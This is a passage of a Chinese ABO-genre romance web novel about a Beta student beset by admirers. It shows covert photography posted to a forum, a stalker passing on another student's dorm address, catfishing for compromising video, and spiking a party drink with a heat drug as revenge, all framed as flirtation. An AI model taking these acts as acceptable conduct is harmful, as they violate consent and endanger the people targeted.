周凛眯了眯眼,很快理清楚,原来如此,但他不打算开口解释,“去吃什么?”
唐星野摆了摆手,拎着手提包,“去上课。”
晚上有一节生理课,科普性教育常识。
生理课教室里弥漫着一种微妙的尴尬。
唐星野不打算坐在前排,扫过教室,无视那些探寻的目光,寻找空着的角落。
唐星野坐在倒数第二排的位置,刚坐下,裴怜就跟过来。
唐星野微微蹙眉,瞥他一眼,“回你原来的位置。”
“为什么?”裴怜一脸无辜,“这里视野好。”
唐星野:“……”
他要回复路至消息,裴怜盯着他,还怎么做坏事。
他拎起包,换了个位置,走之前丢下一句,“视野好,你就坐哪里吧。别换了。”
裴怜:“……”
唐星野日常又给路至回了几句就退出,专心记着笔记。作为Beta,这些关于Alpha和Omega的生理知识对他而言十分新奇。
“男性的生殖腔位于下腹部,在非发情期时非常小巧粉嫩,大约只有……”讲台上的老师推了推眼镜,指着投影上的解剖图讲解着。
他翻动地书页,"啪嗒"一声轻响,前座的橡皮从桌上滚落,一路滑到唐星野脚边。
唐星野微微俯身去捡,这个动作让他后颈处一小片肌肤从衣领中露出来,在灯光下白得晃眼。
“诺。”他伸长手臂递过去,声音清冷。
骆冰转过头时,深褐色的瞳孔明显扩大了一圈。他接过橡皮的指尖微微发抖,在碰到唐星野掌心的瞬间,一股微凉的触感让他呼吸一滞。
“谢...谢谢。”骆冰的声音比平时低了整整一个八度,喉结不自觉地滚动了下。
唐星野收回手,没注意到这位alpha的异常。
但后排的裴怜看的一清二楚,显然注意到对方想要把人生吞活剥了似的眼神。
裴怜盯着了这人的动作,只见他偷摸掏出手机,拍一张唐星野的照片。或许是第一次做,他的手抖得不行。
alpha鬼祟祟地低下头,手指在桌下飞快地操作手机。
裴怜正准备黑进那人
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的手机,删掉那照片,他扫了一眼——
那人登陆校园匿名论坛。
片刻后,一条新帖子出现在论坛首页:
LZ:【求助,被某个生理课的beta迷住了,想入有什么需要注意的吗?附图:偷拍照片.jpg】
帖子内容:生理课上一眼就被这个beta迷住了,想加入他的后援会,这个权威的圈子。
裴怜嘴角抽了抽,照片拍得十分模糊,但仍能隐约看出是唐星野的轮廓。
回复很快涌现:
1L:【最大的问题就是他不让你入,如果他不让你入,他应该会扇你一巴掌,或者骂你两句奖励你,总之星宝不会让你失望的。】
2L:【不对,不对,原来不是这个想入啊。】
3L:【楼上,在失望点什么啊。】
4L:【想入,人之常情,顺手的事情。】
5L:【你要是在想的话,跪下来球球老婆,说不定他就心软同意了(梦里)。】
6L:【跪下来求老婆也没用,小绿叶会直接给你一个过肩摔(亲身经历者如是说)】
7L:【哦,原来说要入坑,欢迎加入,大概要注意就是注意身体,很可能就嬷得不知天地为何物了。】
裴怜扫了眼内容就退出来。
讲台上,老师继续讲解着:“……同样beta的生殖腔也会在快乐中扩张数倍,为了方便结……”
裴怜目光又飘回身前的唐星野,他坐在唐星野刚坐过的位置,鼻尖闻到一丝若有若无的冷香。
他脸上浮现薄红,不受控制地想唐星野的生殖腔也会很小吗?
唐星野:“……”
这位老师讲解是不是太详细了,竟然还包括了模型展示。
唐星野不知道的,已经有人在写他作为模特,上台展示,门户大开的嬷文,并上传花市。
吃惊归吃惊,唐星野了解生理差异,原来这种事情不限于性别,同性也能做啊。
“总之,做恨和DIY不是可耻的事,但老师希望你们注意安全,注意度。”
唐星野对这方面不感兴趣,也就不存在需要注意的问题。
接下来的几天,唐星野总觉得有道异常灼热的视线如影随形。
不是之前的那位阴暗的死变态,这位的目光更为直白烦人,一直跟着他,像无形的蛛网黏在他的背上。
放学后,唐星野故意走了一条偏僻的路。
转过几个弯后,他闪进了一条死胡同的小巷,迅速躲进一个废弃的配电箱后面。
不出所料,几分钟后,骆冰的身影出现在巷口,焦急地找寻目标。
“找我?”
唐星野的声音很轻,却让骆冰浑身一颤。
还没等骆冰反应过来,唐星野已经一个箭步上前,一记干净利落的重拳落在他的腹部。
鼻息先嗅到到是香气,骆冰弯下腰,接踵而至的疼痛让他一时说不出话。本能的抵挡,令他惊讶的是,唐星野的格斗技巧完全不像普通Beta,每一招都精准狠辣。
骆冰痛得喘着气,目光贪婪地扫过唐星野的每一寸眉眼,渐渐的痛苦转化成诡异的快意,爽得他头皮发麻。
唐星野拳头还抵在骆冰的腹部,他能感受到对方呼吸时肌肉的颤抖。
“抖成这样,还敢跟踪?”
唐星野冷笑,指关节恶意地加重力道。
出乎意料的是,骆冰喉间溢出的不是痛呼,而是一声模糊的闷哼。他苍白的脸上泛起病态的红晕,眼睛湿漉漉的,像是得到奖赏的流浪狗。
“别、别误会,我想帮你,”骆冰快速说道,声音发颤,透着诡异的兴奋,“我、我一直注意那些骚扰你的人……他们不配靠近你,我可以把他们的信息都给你……”
他急促地补充着,仿佛多说出一个用途就能让抵在腹部的拳头多停留一秒。
唐星野:“……”
别太离谱,一个跟踪狂说想帮他找到其他跟踪狂。
骆冰似乎看出唐星野的不信任,颤抖着摸出手机,手指在屏幕上慌乱滑动,甚至输错两次密码。最终,他调出一个帖子:【深夜档放送!第一视角口口txy!】
“这个发帖人……”他呼吸不稳,献宝般举起屏幕,“安利,机械工程学院大三Alpha,住3号楼512室……我还有他偷拍你的所有照片备份……”
唐星野指尖一顿,想起那个因易感期消停几日的变态。
唐星野垂眸思索后,收回手,腹部失去压力的瞬间,骆冰眼里闪过明显的失落。
他看着清冷的beta从口袋里摸出一包纸巾,慢条斯理地擦拭指节,仿佛刚刚触碰了什么脏东西。
那双手漂亮得过分,骨节分明,修长匀称。指甲都修剪得圆润干净,指尖泛着淡淡的粉,指节内侧那颗红痣在动作间若隐若现。
骆冰不自觉地吞咽了一下,喉结滚动,口腔发干。
“不需要。”唐星野开口,声音清冷,像一捧雪水浇下来。
“你不配。”
唐星野将纸巾揉成团,抬眸扫视,似乎想找个垃圾桶,可最终没找到,秀气的眉头极轻地蹙了一下。
“垃圾给我吧,我、我帮你丢……”骆冰的喉结滚动着。
唐星野没有说话,只是淡淡地看向他。
骆冰被看爽了。
唐星野忽然抬手,将揉皱的纸巾砸在骆冰的脸上。
“滚!”唐星野眼眸透着嫌弃,冷冷地骂道:“别再让我看到你!”
17.放轻松
L:【周末是六一,有空吗?】
糖心:【怎么了,哥哥?】
L:【欢乐世界有新开的主题区,VIP通道免排队】
糖心:【?】
L:【之前聊到,你想去看烟花秀,你不记得吗?】
唐星野愣住了,确实在一个月前的聊天中随口提过,为了捏omega的人设,随便说了热门景点。
没想到对方竟然记得。屏幕又亮起来,是一张电子门票的截图,上面清晰地印着6月1日和双人VIP套票。
糖心:【我说过的话,哥哥都记得吗?】
L:【嗯。】
糖心:【谢谢哥哥邀请,可是六一我已经答应陪室友去医院了。】
L:【没关系,身体重要。】
L:【票我先留着,改天再去。】
没有生气,没有纠缠,甚至贴心地嘱咐他照顾好室友。
唐星野盯着这两行字,有点烦躁,路至应该恼羞成怒暴露出Alpha的劣根性,这样他就能顺理成章地……
怎么搞得现在他是卑鄙小人?
唐星野想速战速决,手指在屏幕上快速敲打:【哥哥,可以发自拍吗?】
L:【看腹肌?】
唐星野在思索怎么能要路至的私密照片,毕竟露脸露腹肌,对alpha实在再正常不过。
要怎么哄路至拍啊?他能露的都露了,还能拍什么啊。
要不直接发:
哥哥,看看几……?
L:【现在不太方便拍照。我正在易感期,戴着止咬器。要视频吗?你可以不露脸。】
唐星野怀疑是自己看错了,路至疯了吧,主动把把柄交给他。
这是在试探他吗?
还没等他回复,手机突然震动起来,视频通话邀请界面弹出时唐星野差点把手机扔出去。
他环顾四周,确保房门锁好,室友都不在,窗帘也拉得严严实实。
唐星野很庆幸季沉三天两头跑去打拳,林墨习惯性通宵泡实验室,周凛今天也不回来,现在宿舍基本就是他一个人。
最终,他点下了那个链接。
当然,关闭了自己这边的摄像头。
屏幕亮起的瞬间,唐星野的呼吸停滞了。
Alpha半靠在黑色皮革沙发上,银灰色止咬器在冷光下泛着金属质感。他额前的黑发被汗水浸湿,凌厉的下颌线绷紧,喉结随着粗重的呼吸上下滚动。
他脖子上确实戴着alpha易感期专用的抑制环,闪烁着淡淡的红光。
“看得清楚吗?”路至的声音因为止咬器而有些含糊,却带着不容忽视的磁性。
唐星野喉咙发紧,下意识地压低声音,听起来柔软,“嗯。”
路至轻笑一声,那声音像电流般窜过唐星野的脊背。“止咬器有远程控制功能,我把权限给你。”
他说着,在屏幕上操作了几下,“现在,你可以控制它的松紧程度。”
唐星野大脑还是有点发懵,这太超过了,他原本只是想骗几张照片而已。
手机弹出一个新通知,收到了某个设备的控制权限。
他如梦初醒般想起自己的目的,按下了录制,左上角在闪动红点。
唐星野开了变声器,“为什么要给我发这个?”
画面中路至的眼睛眯了起来,像是在笑。
“我想让你掌控我。”
“现在我是你的。”
“宝宝放轻松点,把这个当做一个游戏,你不想试试吗?”
唐星野感觉有点荒谬,指尖划过屏幕,止咬器的控制界面非常简单,只有锁定,滑动条。
像是被蛊惑般,他轻轻向右滑动,屏幕里立刻传来压抑的闷哼,alpha的唇角溢出血丝。
唐星野蹙眉,立刻点了解锁键。
这不对,完全不对。
路至应该愤怒、应该拒绝、应该讨价还价,而不是...不是像这样主动交出控制权。
他宁愿对方下.流索要腿照,做一个骚扰omega的伪君子。
唐星野看着路至被止咬器勒出的红印。
他的表情很奇怪,痛苦又带着矛盾的欢愉,薄唇在发抖,呼吸越发沉重。
唐星野一把按掉通话,把手机丢在一边。
他深呼吸两口,冷静下来后,开始立刻找补发消息。
明明都想做坏事,怎么还退缩?
路至低笑出声,从突然黑掉的屏幕中感受到唐星野的纠结和慌乱。
太可爱了吧。
路至不太在意唐星野要怎么报复他,或者让他名声扫地。
他抚过止咬器上勒出的红痕,铁锈味在舌尖延展开,疼痛从咬破的唇角蔓延,却奇异地带着甜。可一想到这是唐星野给的,痛苦变成了另类的甜美。
他享受唐星野给他一切的反馈,痛苦也是奖励。
如果唐星野心狠一点,不给他开锁,一直让他带着止咬器出门上课,路至也会照做的。
他记得唐星野那时候漂亮得让人目不转睛,眼角沁着薄红,湿润的黑发黏在冷白的脖颈,眼眸流光溢彩,像是出水蛊惑人的海妖。
如果唐星野真的想要报复回来,咬破他的腺体,那真是乐意至极。
糖心:【哥哥,呜呜室友回来了,通话不方便。】
路至吐出一口气,感觉今天就到这里。
L:【没事,下次有时间,你愿意的话,可以再继续。】
下次、继续?
路至还想把控制权交给他?
糖心:【哥哥,你为什么这么熟练发这种东西,是不是经常和别人玩啊?】
糖心:【我是第一次谈恋爱,只想认真找对象,哥哥你不会只是想随便玩玩吧?】
L:【对不起,我第一次网恋,不知道你会不喜欢。】
L:【我是处。发誓我没发给过其他人,也没和谁搞过暧昧,我可以调所有的聊天记录给你看。】
路至像是急于证明清白,生怕唐星野不信,又不补充了一条。
L:【聊天记录、银行流水、社交账号登录历史……只要你想要,我什么都可以给你查。】
L:【你别生气。(转账:50000)】
路至真不怕他是骗子啊?
不对,他现在不就是在网骗,只是不骗钱不骗色。
唐星野退了钱,继续发消息。
糖心:【没生气,我信哥哥。】
路至看到这条消息,紧张的心放下来,可可的信息素不受控制地溢出几分。
L:【你什么时候有空?】
又是这个问题。
唐星野有点懵,拿到视频,他的目的就达成了,基本可以自曝身份,拉黑对方。
不知道为什么,唐星野犹豫了。
路至为什么这么执着想要和他见一面?他不该哄着糖心拍私密照片吗?
糖心:【哥哥不是还在易感期吗?易感期结束了,我们就见一面吧。】
看到这条消息,路至心率都加快,感觉周围的一切变得不真实,像是踏入了云端。
他很想发消息,解释他现在是假性易感,去得快,又怕吓到唐星野。消息删删改改,最后定下一个日期。
社团里,路至既期待和唐星野偶遇,又紧张,他怕对方看他一眼,就忍不住上跟唐星野坦白。
所以每次偶然碰面,他都努力地不看唐星野。
再不见面,脸上留下的红印就要没了。
虽然还没时间,路至嘴角忍不住上扬,时不时就要翻出手机,看一眼那条消息。
越看越幸福,胸腔里悦动美妙的音符。
部长端着咖啡经过时,正看见素来沉稳高冷的Alpha对着手机屏露出堪称灿烂的笑容。
“这小子不会是网恋了吧,对手机笑成那样。”部长偷偷捅了捅副部长的胳膊,忍不住小声嘀咕。
“我看是易感期到了,这几天他早早交完材料就退了。”副部长推了推眼睛。
路至回到公寓后,对着衣柜眉头紧锁。
黑色西装太严肃,休闲装又不够正式,那件唐星野夸过好看的衬衫...……该死,送去干洗还没取回。
“艹!”,他难得爆了粗口,把衣服扔了满地。
浴室里,路至把沐浴露打了三遍,又破天荒地用了唐星野提过的柑橘味身体乳。
吹头发时,他对着镜子反复拨弄额前碎发,突然转身问正在整理衣物的管家。
“你说现在打舌钉来得及吗?”
管家手中的熨斗差点滑落:“容我提醒,距离您的约会还有48小时。况且……”
“您只是去约会,不用如此紧张。”
路至认真强调:“这是我第一次约会!”
——————
周凛把豆浆杯放在唐星野课本旁时,杯壁上凝结的水珠正好落,在木质桌面上洇开一片深色的痕迹。
这是本周第五次“偶遇”周凛给他带早餐,校园剧里的情节在荧幕上很浪漫,可当它真切地发生在自己身上时,唐星野只觉得如坐针毡。
水晶虾饺配现磨豆浆,唐星野在食堂价目表上看过,这一套要二十八元,够他喝三天的营养剂。
“你别给我带了,我不吃早饭。”
唐星野瞥一眼后,头也不抬,铅笔在演算纸上划出一道尖锐的折线。
不知道周凛这几天发什么神经,老往他身边凑。无事献殷勤,非奸即盗。
“食堂张师傅说你有低血糖,”周凛把吸管插好推过去,“上周三你在实验楼晕过一回。”
唐星野的笔尖顿住了,抬眸看他。
那双墨色的眼眸很干净,像是纯粹的玉石,泛着微冷的凉意。正是如此,就像倒映不出任何人。
“那是我刚献完血。”
啧,这世道还有这么纯粹的人吗?
周凛一顿,而后微笑,“好,我知道了。”
知道归知道,下次继续是吧。
“浪费可耻,”周凛拿出惯常唐星野能接受的理由,补充道:“你就这么讨厌我吗?”
“我不吃早饭的习惯保持很多年了,也就晕那一次,beta没有你想的那么娇弱。”
唐星野低估了周凛的厚脸皮,见他没接,就伸手主动捧着喂给他,什么也不说,就静静地看着他,仿佛他不喝就这么举着。
唐星野:“……”
他不记得自己最近哪里又惹到这位,之前是死缠烂打加微信,这次又是什么。
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晨光透过窗帘缝隙,正好照在豆浆杯上印着的那行小字“无糖”,唐星野抿了一下唇,他没跟周凛提过自己不嗜甜。
他最终放下铅笔,接过豆浆时指尖与周凛的短暂相触,像一片雪落在温热的皮肤上。
唐星野的睫毛在眼下投出细小的阴影。
周凛看着他小口啜饮的样子,忽然想起小时候养过的一只流浪猫——也是这般警惕又克制地接受投喂。
唐星野盯着杯壁上滑落的水珠,思绪飘忽了一瞬。他忽然突然想起高中时四点起来去做兼职,帮忙做早点,早起时打湿了外套的晨露。
“谢谢。”唐星野声音很轻,像一声叹息。“真别带了。”
周凛单手撑着下颌,噙着笑意问,“你不喜欢?那你喜欢什么。”
唐星野腹诽,都不喜欢,尤其不喜欢你。
“营养液,柑橘味的。”
方便高效,还有饱腹感,重点是便宜。
周凛似笑非笑地看他,柔声细语道:“我们不是朋友吗?别这么客气。”
朋友?
又是朋友?
路至也说想做朋友,这些有钱人没见过穷人吗?觉得很新奇,一个个都凑过来观摩?
随后周凛像是突然想起什么,取出一个袋子,唐星野狐疑地打量着他。
周凛却只是从袋子里取出碘伏,拆出一支棉签,拉起唐星野的手臂,细致地给他涂抹。
这时唐星野才注意到左臂上有一道血痕。
他的皮肤很白,凸显那道血痕十分明显,约莫两寸长,沿着手臂蜿蜒,像一条红色的细线。
唐星野一僵,而后微微蹙眉,“不用涂,没有破皮,只是刮了一下,过两天就好。”
周凛充耳不闻。
他的手指捏着柔软的皮肉,沿着红痕涂抹。
唐星野能闻到他的气息,混杂着碘伏的刺鼻味道,形成一种古怪的亲密感。
他觉得有点刺挠,被静电电到了,毛毛躁躁的。
朋友会是这样吗?
唐星野回忆了他和闻泽的相处模式,好像他受伤的时候,他是无所谓地笑笑,倒是闻泽一个alpha紧张兮兮的,边给他上药边掉眼泪。
那时候他就没思考过这个问题。或许自己是太讨厌周凛了,所以他碰一下,唐星野觉得有点不自在。
周凛的掌心很烫,覆盖在手臂上,弄得他好痒,还生出一股热意。
周凛贴近时,呼吸的热气撒在皮肉上,激出难耐的痒意,像是催促唐星野让人赶紧帮忙揉揉。
他身体没这么虚吧?
前两天不是才揍了alpha吗?
怕碘伏和豆浆都撒了,唐星野抿着淡粉的唇瓣,咬着吸管,有点不高兴周凛的行为。
他盯着周凛,想着套哪个麻袋合适。
周凛别让他蹲到小巷子,不然挨顿打吧。
周凛阴翳的眼眸一直盯着唐星野,对方垂着眼眸,安静地抿着吸管,像个漂亮的娃娃。
只是冷白的皮肤沁出淡淡的红,纤长的睫毛不停颤抖,透露着主人的心绪。
好敏感啊,小绿叶,就像含羞草一样。
周凛偶然听到那些人关于唐星野下.流的臆想,叫他清冷大小姐、老婆、宝宝。
在alpha和beta的体型差下,唐星野显得格外纤细瘦削。
他们幻想轻而易举地就能被人捉住伶仃的双手,举过头顶,按在墙角,被抓住细腰,透哭。
想到那样的画面,可怜又叫人兴奋。
唐星野瞥了那张创可贴,觉得这太夸张了。不过是道浅表划痕,过几天就会好。
他突然想到一个荒谬的可能性。
听人提到某些Alpha会因生理缺陷过度补偿。当时举的例子就是"阳痿的Alpha丈夫往往特别殷勤照顾omega妻子,生怕对方跑了"。
这个念头像一滴墨汁落入清水,在他脑中缓缓晕开。周凛最近的反常行为突然有了解释:拒绝所有Omega、中山装男人的叮嘱、现在又对他这个Beta过分关心……一切都能串联起来。
唐星野的视线微妙地向下瞥了一瞬,又迅速移开。
可怜的养胃alpha就这么害怕他说出去吗?
唐星野对别人的私事,一向没什么兴趣,除非对方先惹到他。
“好了。”周凛终于松开手,指节不经意擦过他腕间皮肤。
柔软的,微凉的。
和翠青蛇一样,温顺无害。
周凛温柔地提醒道:“这几天别碰水。别的实验室就是看你特别好说话,喊你去搬器材,你可以拒绝,喊alpha帮忙。”
唐星野语气冷淡,“嗯。”
周凛相较于其他室友,一直都是温和有礼的,在学校里是风评最好的。
完美无缺,这是唐星野听到最多关于周凛的评价。
唐星野忽然开口,“……你也很特别。”
——银样镴枪头。
——滚。
周凛眼眸闪了闪,压低了声音尾音含着笑意,“是吗?怎么说?”
唐星野长眸微微低垂:“嗯,你和我见过的其他alpha都不一样。”
——特别没用的银样镴枪头。
18.第 18 章
这话从别人口中说出来的,周凛也就笑笑过去,并不放在心上。
可唐星野亲口说,就是别有一番风味。
淡雅的香气从唇齿溢出来,荡漾出酥酥麻麻的电流感,让向来冷淡的身体都起了反应。
周凛:“星野,周末是我的生日,你能不能来参加?”
“我还有课题报告要做。”
这是唐星野常用的借口,不想去就拿有课有课题作业搪塞。不算完全的假话,学习于他而言,永远是第一位。
比起复杂的人际关系,表里不一的人,还是知识相处更愉悦。
“星野,你可是我最好的朋友,我的生日,你不愿意来陪陪我吗?”周凛放软腔调,认真地凝视唐星野。
他生了一双极具欺骗性的眼睛,当他和人认真交谈时,总有给人一种他真的很在乎你的错觉。
唐星野却从中感受不到任何真心,“……你那么多朋友又不缺我一个。”
“那些都不是真心的,其实我没什么朋友的。”周凛深深地叹气。
周凛怎么可能没有朋友?
唐星野眼眸冷淡,没有说话,就静静地凝视,一副你继续编的模样。
周凛当然知道唐星野表情的意思,“他们围着我,都是因为我的家族,都是酒肉朋友。”
“宿舍其他人呢?”
“他们对这种场合不感兴趣。”周凛再次叹气。
“你是我最好的朋友,没有人真正的关心我……”
“只有你是不一样的。”
唐星野:“……”
同样的话被周凛用到自己的身上,唐星野生出了一身鸡皮疙瘩。
果然周凛是生活不如意,就想犯贱来恶心他吗?
“我邀请了很多专业同学,你都没参加过一次的破冰轰趴,你可以来试试感受氛围,说不定你会喜欢呢?”周凛弯起眉眼,再次发出邀请。
唐星野微微摇头,无声表达了拒绝,他准备起身离开。
“别着急离开嘛,”周凛直接搭着唐星野的肩膀,将漂亮的beta半圈在怀里,眼眸紧紧地锁定猎物,对方的眉眼浮现潋滟的薄红。
周凛想到唐星野的性格,贴心地补上一句,“你要觉得不好玩,随时可以离开的。”
硝烟味的信息素如烟雨般笼罩,掌心的温度覆盖皮肉,唐星野呼吸不由得加重了些,他觉得自己像是要融化的奶油,绵软的怪异感觉再次袭来。
唐星野不喜欢人多的场合,尤其有他室友出现的场合,每次他们一出现,就像是自带聚光灯,所有话题和赞美都围绕着他们,一切交谈变得无趣。
唐星野厌恶周凛硝烟味的信息素,厌恶他明明知晓一切,却还要假惺惺地凑过来,说什么“我们是朋友”。
最近周凛一而再再而三地挑衅他,已经让唐星野非常烦躁。
现在的行径更是火上浇油,让他的厌恶达到顶峰。
宴会吗?有钱人办的生日宴一定很多人来恭维吧。
不就想掩饰秘密吗?
既然周凛非要拉他去这场宴会,那他不介意让这位“好朋友”也尝尝出丑的滋味。
唐星野垂眸思索片刻,心里生出恶念,忽得笑了笑,“好,我会去的。你喜欢什么礼物?”
清冷绝艳的beta眼眸弯起,轻笑的声音像是带着小勾子,格外的撩人,让人心痒痒的。
周凛表面还是那副温和的模样,眼底却掠过一丝讶异。
他没想到唐星野会答应得这么干脆,没想到向来拒人千里的beta如此好说话。
这个认知让他心头泛起隐秘的愉悦,“不用,你能来就是最好的礼物。”
同时一种诡异的感觉浮上心头,直觉在告诉周凛有哪里不对。
唐星野没有接着这话,声音很轻,近乎呢喃,道:“我会准备的。”
他一定会准备好一份大礼送给周凛的。
“你把地址给我吧。”唐星野拍开他的手,纤长的手指在手机屏幕上轻轻一点。
周凛顿了顿,“到时候我来接你,我们一起去吧。”
唐星野抬眼看他,唇角挂着柔软的笑意,但琉璃色的眸子里映着周凛的倒影,却看不出丝毫情绪,“不用,我会自己去的。”
——毕竟,他要送的"礼物",可不适合让周凛提前看见。
———————
到了约定的日子,路至早早起来做了造型。反复看了很多次,确定没问题。他盯着聊天框,很想发消息,又怕吵到唐星野。
等着时间,好不容易熬到合适的时候发消息,准备去接唐星野。
他按下早就在聊天框里打好的内容,【宝宝,发个定位。】
消息发出的瞬间,他就看到刺眼的红色感叹号!
路至眼皮一跳,他退出重进,切换网络,甚至重启手机,再次发一次。
醒目的感叹号再次跳出来。
唐星野拉黑他?!
路至脑中一阵蜂鸣,视网膜上那个猩红的感叹号在不断放大。他机械地反复刷新对话框,曾经秒回消息的聊天窗口,此刻只剩下冰冷的系统提示。
他不死心点开地瓜,发现唐星野已经注销了账户,发的照片都删的一干二净。
他呆滞地看着已经变成初始用户名的账号,邮箱提示音刺耳地响起。
定时发送的邮件安静地躺在收件箱最上方,发件时间精确设定在约定时间的第十分钟后。
糖心:【你被我骗了,傻瓜。其实我不是omega,照片是P的,我说的都是假话。】
糖心:【我有喜欢的人,我不喜欢你。】
糖心:【和你聊天只是我太无聊了,想要耍人玩。现在我玩腻了,你当什么都没有发生吧。】
唐星野发的每个字都让路至的太阳穴突突直跳,咬紧牙关,这个小骗子。
哪怕耍他也好,卖萌蒙混过关也好,路至都愿意把这场游戏继续玩下去,他也期待唐星野的反应。
路至没想过唐星野突然掀桌不玩了,直接拉黑他。
这是路至不能忍受的,对唐星野而言,他和其他人是一样的。
他面色阴沉,这两个月唐星野伪装omega,P图腺体,开变声器,连omega的生理知识都学了。
做了这么多事情,唐星野竟然只是打算这样轻拿轻放地对付他吗?
哪怕唐星野恨他恨到骨子里,恨不得他去死,路至都不会如此愤怒。
路至面色阴沉,握紧方向盘,他深呼吸,平复心情,一点点理清楚思绪。
唐星野应该不知道他早就发现他的马甲,这是这场游戏里路至唯一的优势。
他说过的:随便说喜欢,唐星野会后悔的。
路至赶到宿舍里的时候,里面空无一人,他愤恨地捶门,砰的声音惊醒了隔壁宿舍休息的omega。
omega生出怒火,准备开门大骂,哪个没素质的,午休时间砸门扰人睡觉。
他猛地拉开门,看清楚人脸的那一刻,他的话头止住在喉咙里。
路至啊,那没事了。
路少爷砸门是爱好,是奏乐,是与民同乐。他可惹不起路至。
他怂怂地准备关上门,缩回床上。
路至蓦然回头,他一眼认出来这是唐星野的隔壁班同学,他冲上来用手顶住门。“这位同学,你知道唐星野,他去哪里了吗?”
路至眼睛阴翳,像是凝聚着风暴,要把人撕碎。
omega被他这幅骇人的模样吓到,都快要哭出来,路至不是唐星野的室友吗?为什么要问他?还是这一副老婆跟野男人跑了的语气。
他还是如实地磕巴地答道:“星野啊,我就看见他捧着一个礼盒出门。至于他去哪里,我真不知道。”
路至像是被按住了暂停键,呆滞地重复这两个字,“礼盒?”
见状,omega连忙点头补充,“是的,一个很漂亮的礼盒。”
欸?
专门是送给他的礼物吗?
路至眼中阴霾突然散去,暴怒的情绪奇异地平复下来,他甚至能感觉到自己的心跳猛地加快,血液都热了起来。
宝宝竟然专门准备了礼物吗?
真是和他心有灵犀,他也准备一对对戒。
路至不由得想礼盒会是什么呢?领带?袖扣?还是……
旋即回过神的路至又品出不对劲,如果唐星野是要送他礼物的话,为什么要拉黑他?
是他哪里又没做好,让老婆生气了,惩罚他?
是他昨晚又确认一遍见面日期,让对方感到厌烦了吗?
不不不,他怎么这么想呢?
说不定是老婆太害羞了,拉黑他的。
路至感觉唐星野真是会折磨人的猫猫。
但让人讨厌不起来。
“啊!”omega惊叫一声,似乎想起什么,猛地拍大腿,“我想起来,今天是周凛的生日,说不定星野他是去参加生日宴。”
话音刚落,眼前的alpha的脸色猛地冷了下来。
——————
唐星野想起这段时间发生的事情,目光平静地把路至拉黑后,设置后定时邮件,最后把糖心的账号注销。
他取出当初私藏的情热剂制成品,装进防易碎的礼盒里。
灯光璀璨的轰趴馆里,衣香鬓影。
侍者正给客人们倒酒,擦肩而过一位漂亮的beta。奇异的冷香萦绕鼻息,他像是被勾了魂似的,目不转睛地盯着。
清冷绝尘的容貌,肤白腰细,身形单薄,看起来很是勾人。
纤长的睫毛在眼睑投下鸦青阴影,眼尾洇着薄红,还坠着一颗泪痣,更加重了魅惑感。
只是被瞥一眼,就感觉到了焦渴有些受不了,侍者夸张地喉结滚动,吞咽口水。
直到人走远了,侍者才回过神,连忙向同事打听起来,“这是谁?怎么从来没见过?”
同事张望了一会,一下就找到人群的焦点,“唐星野啊,京大投票断档第一的校花。”
唐星野自打进入包间里,很多探究的目光就落在他身上。
他并不在意,目光扫视全场,只想找着自己想要报复的对象。
周凛站在人群中央,唇角噙着漫不经心的笑,修长的手指随意捏着高脚杯,琥珀色的酒液在杯壁轻轻晃动。
“周少,生日快乐!”有人举杯上前,笑容谄媚,“听说您最近又拿下了城东的项目,真是年轻有为啊。”
周凛懒懒地抬了抬酒杯,笑意不达眼底:“客气。”
一个接一个的人围
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上来,恭维、奉承、试探,他游刃有余地应对着,既不显得热络,也不至于冷落任何人。
礼物被侍者一一收下,堆放在一旁的礼台上,包装精致,价值不菲。‘
唐星野没凑上去,随意地把礼盒递给代收的侍者。
包间异常宽敞,能玩的项目很多,各类的桌游、台球、KTV应有尽有。
唐星野对那些游戏没什么兴趣,端了一杯酒,就坐在沙发角落里,有一搭没一搭吃着果盘,想着自己的计划。
包间里的人肆无忌惮地往beta身上投去,黏腻的目光几乎想要把人从里到外地舔.透。
beta修长的指尖漫不经心地捻着熟得有些发紫的莓果,饱满的果皮绷得透亮。
淡粉的唇瓣张开,含着。
饱满的果肉被轻轻咬破时,有几滴汁水来不及吞咽,顺着唇角滑落,在下颌拖出一道水痕。
破冰游戏在场的人都想玩国王游戏。
当然,要玩肯定要做惩罚。
本来大家想循序渐进,先从安全的指令开始,但气氛早就热起来,惩罚内容直接大胆。
“互换交杯酒。”
“玩pocky game!”
“和在场的一位异性热吻十秒。”
这些惩罚内容是因谁而出的,在场的人都心知肚明,并且期待着借此发生点什么。
真恶心,就不能出谁一分钟内解题的惩罚吗?
唐星野面无表情地喝着水。
突然他身旁的沙发凹陷了一角,有人坐在他的身边,宽大的胸膛靠过来,像是半将他搂着在怀里,“要试试吗?”
唐星野难得破天荒来参加这种游戏,周凛眯了眯眼,唐星野一定会同意的。
唐星野的眼眸微动,最后在众多隐秘期待的目光中,轻轻颔首。
能来周凛的生日宴,绝对是这辈子最正确的选择!
这是大家一致的想法。
比想象中的要吵,但还是能接受的程度,唐星野目不转睛地盯着,耐心地等着他想要的牌子。
只要把那份大礼送上,他就离开这里。
不知道是不是运气总站在唐星野这,他被抽中过一次,但惩罚内容不是什么变态的。
轮到了。
“下一轮!”国王突然高声宣布,修长的手指敲了敲桌面,国王慢条斯理地念出卡片上的字,“共喝一杯酒。”
众人兴奋地探头去看惩罚牌,随即爆发出一阵暧昧的起哄声。
不对。
强烈的直觉警告唐星野不对劲,这不是他准备的惩罚牌。
有人换牌了。
“抽到1和7的,执行惩罚。”
“我是7。”周凛亮出牌,唇角挂着若有似无的笑。
“1号呢?”众人四处张望。
唐星野低头看向自己抽到的牌,指尖微微发抖。鲜红的“1字刺得他眼睛发疼。
他一瞬间脸色变得很难看,垂眸盯着手边的没动过的酒杯。
唐星野还在思索,要不要继续游戏,这药剂对beta来说作用不大,喝一半也没什么的。
原本的冰块在灯光的折射下映照出淡淡的粉色,已经融化,看不出痕迹。
真羡慕周凛啊。
运气真好。
四周都安静地盯着唐星野,等待着他的反应。
周凛端着酒杯,在他面前坐下,盯着他,“要来吗?”
被问到的唐星野,抬眸对上那一双含笑的眼睛。
他瞬间明白了——惩罚牌是周凛换的。
周凛并不知道他要具体做什么,因为好奇,所以要共喝一杯。
周凛晃了晃唐星野没有动过的酒杯,琥珀色的液体在灯光下泛着诱人的光泽,丝毫看不出里面下了药剂。
他俯身靠近,唇几乎贴上唐星野的耳垂:“星野,你应该下的不是毒吧。”
唐星野瞳孔骤缩,他果然知道了。
"当然..."周凛的犬齿轻轻磨蹭他敏感的耳廓,声音低得只有他们能听见,"如果是毒的,也很好。"
alpha的指尖抚过他的喉结,带着令人战栗的温柔:"一起长眠在地下,不至于太寂寞。"
